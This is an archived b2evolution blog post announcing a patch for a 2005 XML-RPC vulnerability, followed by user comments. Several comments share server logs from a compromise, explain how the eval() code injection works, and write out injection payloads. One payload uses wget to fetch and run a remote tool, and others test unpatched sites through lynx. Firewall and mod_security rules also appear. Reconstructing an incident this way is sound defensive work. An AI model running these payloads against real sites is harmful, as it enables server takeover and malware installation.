« b2evolution 0.9.1 "Dawn" released"Phoenix" ALPHA features (preliminary list)... »

Fix for XML-RPC vulnerability (again!)

  August 31, 2005 @ 19:53, by fplanque • Category: Security info

Yope, that's right, they did it again! :|

The previous XML-RPC fix may not be secure enough, so...

It is highly recommended you fix you installation by downloading this NEW patch file and unzipping it into you /blogs/b2evocore/ folder. This should overwrite the two following files AGAIN:

  • _functions_xmlrpc.php
  • _functions_xmlrpcs.php

This patch has been tested on the latest 0.9.0.12 "Amsterdam" release but is believed to work on all 0.9.0.x versions.

The patch will be included in future releases.

12 comments

Comment from: joe [Visitor]
joe

Note: this is packaged in an xmlrpc_fix_112/b2evocore directory…

09/01/05 @ 18:31
Comment from: ,medya [Visitor]
,medya

hey is this patch for those who get this error when they Update their Anti Spam Black List ?
“MySQL error!
Duplicate entry ‘ontheInter.net’ for key 2(Errno=1062)
Your query:
INSERT INTO evo_antispam( aspm_string, aspm_source ) VALUES( ‘ontheInter.net’, ‘central’ )”

for what we should install this patch ?
i have 2.0.10 version…should I install it ? I get that error when I update black list

09/02/05 @ 01:46
Comment from: Enric Naval [Visitor]
Enric Naval

An example of one hacker trying to exploit this vulnerability, but failing.

From access_log:

mricks.force9.co.uk - - [03/Sep/2005:14:05:22 +0200] “POST /aipo/usab/xmlsrv/xmlrpc.php HTTP/1.1″ 200 288 “-” “-”

Oputput of “ps auxww". The hacker is trying to download a hacking program from a website using wget, but the website is down, and wget is stuck forever.

apache 5917 0.0 0.0 4220 776 ? S 14:05 0:00 -bash
apache 5939 0.0 0.1 5560 1472 ? S 14:05 0:00 wget linuxgods.go.ro/local.tgz

Output of “netsatat -atnp", wget is stuck trying to contact the website to download the hacking program, waiting for a ACK answer that will never arrive:

tcp 0 1 10.50.49.16:49934 81.196.20.134:80 SYN_SENT 5939/wget

09/03/05 @ 14:25
Comment from: Enric Naval [Visitor]
Enric Naval

This time, a successful hacking. He downloaded a hacking program and executed it, but port 443 (https) was firewalled using iptables, so the downloaded hacking program was able to connect to IRC servers to receive orders from the hacker, BUT it wasn’t able to start encrypted logins sessions to the IRC servers.

The point of an encrypted IRC session is that a casual system administrator sniffing the IRC packets won’t be able to see the hacker orders and the hacker IP because the packets are encrypted:

Contents of /etc/sysconfig/iptables (Red Hat 9.0)

-A OUTPUT -o eth0 -p tcp –sport 443 -j REJECT –reject-with tcp-reset

After that, I also firewalled port 6667 (IRC), because I don’t use IRC in the server, and hacking programs will usually use IRC to communicate to the hacker (way easier than coding your own protocol and setting your own servers).

Contents of /etc/sysconfig/iptables (Red Hat 9.0)

-A OUTPUT -p tcp –sport 6667 -j REJECT –reject-with tcp-reset
-A OUTPUT -p udp –sport 6667 -j REJECT –reject-with icmp-port-unreachable
-A OUTPUT -p tcp –dport 6667 -j REJECT –reject-with tcp-reset
-A OUTPUT -p udp –dport 6667 -j REJECT –reject-with icmp-port-unreachable

The downloaded hacking program was called zbind, and took control of port 443 from apache. If I stopped Apache, then I couldn’t start it again until I killed zbind, because apache would complain that port 443 was already binded a a program (that would be zbind, which would keep on running after having killed apache).

Output of “ps auxww":

apache 28154 0.0 0.0 1440 276 ? S 20:49 0:00 ./zbind
apache 28163 0.0 0.0 1680 688 ? S 20:49 0:00 ./sh
apache 28165 0.0 0.0 1700 728 ? S 20:49 0:00 ./sh
apache 28167 0.0 0.0 1700 728 ? S 20:49 0:00 ./sh
apache 28169 0.0 0.0 1700 740 ? S 20:49 0:00 ./sh

Output of “netsat -atnp”

tcp 0 0 10.50.49.16:57925 213.48.150.1:6667 ESTABLISHED 28165/sh keepalive (7191,64/0/0)
tcp 0 0 10.50.49.16:57926 213.48.150.1:6667 ESTABLISHED 28167/sh keepalive (7192,13/0/0)
……
tcp 0 1 10.50.49.16:57913 199.170.91.114:6667 SYN_SENT 28163/sh on (23,64/4/0)
tcp 0 1 10.50.49.16:57922 199.170.91.114:6667 SYN_SENT 28169/sh on (28,05/4/0)
…….
tcp 0 0 10.50.49.16:57906 195.54.102.4:6667 ESTABLISHED 28169/sh keepalive (7104,66/0/0)
tcp 0 0 10.50.49.16:57875 193.110.95.1:6667 ESTABLISHED 28165/sh keepalive (6919,23/0/0)
tcp 0 0 10.50.49.16:57878 193.110.95.1:6667 ESTABLISHED 28167/sh keepalive (6922,15/0/0)
……..
tcp 0 1 10.50.49.16:57918 217.106.2.92:6667 SYN_SENT 28165/sh on (25,19/4/0)
tcp 0 1 10.50.49.16:57914 217.106.2.92:6667 SYN_SENT 28167/sh on (24,18/4/0)
tcp 0 1 10.50.49.16:57912 207.96.122.250:6667 SYN_SENT 28163/sh on (23,64/4/0)
tcp 0 1 10.50.49.16:57915 207.96.122.250:6667 SYN_SENT 28169/sh on (24,56/4/0)
………

You can see some ESTABLISHED connections, because port 6667 was still open. SYN_SENT is when you send a SYN signal, and you are waiting for the receiver to answer. Obviously, those IRC servers were either down or too busy to answer or decided not to answer because they noticed somehow that the connections were from a hacked server.

If I hadn’t firewalled port 443, my hacked server would have been used to download zoofilic porn and similar disgusting things. I saw the webalizer stats for a hacked server, and the server had been used to donwload porn videos, and other things. Also saw many visits to webs who will check the tranparency of your proxy, so the hacked server was obviously being used as a proxy. I couldn’t see the complete stats, only the “top” lists.

09/03/05 @ 14:47
Comment from: Enric Naval [Visitor]
Enric Naval

note: I knew the hacking program hadn’t made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!

note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn’t execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user “apache", look for strange directories in “/tmp” and “/var/tmp” and read this message.

The last time I found the downloaded program binaries here:

/tmp/ /.zbind

/var/tmp/ /.zbind

Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing “ls -l".

I had to delete the directory like this:

rm “/tmp/ “

To enter the directory

cd “/tmp/ “

or

cd /tmp
cd ” “

Well, that’s all. Good luck with your servers.

09/03/05 @ 15:06
Comment from: wrabbit [Member]  
wrabbit

Yeah, they just got me yesterday. Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails. My host disabled my site until I was able to figure out how it happened.

09/03/05 @ 21:04
Comment from: Lenwood [Visitor]
Lenwood

Can someone explain how to test this properly?

Thanks,
Chris

09/05/05 @ 05:43
Comment from: Enric Naval [Visitor]
Enric Naval

According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from $HTTP_RAW_POST_DATA.

Gulf Tech report of XML-RPC vulnerability

They say the problem is that magic_quotes_gpc() isn’t applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.

This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon “;” to end the actual statement and execute whatever code you fancy.

So, for example, if you know that the page is reading the variable “var” from the raw POST, you can send this query string.


var=,'')); phpinfo(); exit;/*

In this case, I believe that “,'’));” finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.

“phpinfo();” This executes phpinfo()
“exit;” This exits the PHP page.
“/*” and then it comments the rest of the code, so it won’t execute and won’t dump error to some log.

(I will continue later, I have problems posting)

09/16/05 @ 13:38
Comment from: Enric Naval [Visitor]
Enric Naval

So, my hacker, as seen in former posts, probably used a query string like this :


var=,'')); system('wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&;');exit;/*

Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.

09/16/05 @ 13:56
Comment from: Enric Naval [Visitor]
Enric Naval

(continues)

I don’t know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace “var_name” and “weblog_url". That’s your unpatched weblog, not an :)

(you have to escape the single quotes for “echo” to work)


echo '
var_name=,\'\');echo \'I got hacked.\';exit;/*
---
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php

And of course:


echo '
var_name=,\'\');echo \'Hello, world.\';mail(root,\'p0wned!\',\'Patch b2evolution for XML-RPC.\');exit;/*
---
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php

09/16/05 @ 13:58
Comment from: jwedgeco [Member]  
jwedgeco

If you can’t patch or are extra paranoid, try this mod_security rule

# block access to b2evolutions xml interface
SecFilterSelective REQUEST_URI “/blogs/xmlsrv/xmlrpc.php”

10/12/05 @ 12:37
Comment from: StevensF [Visitor]
StevensF

Keep on the good work.

11/24/05 @ 19:58

Search news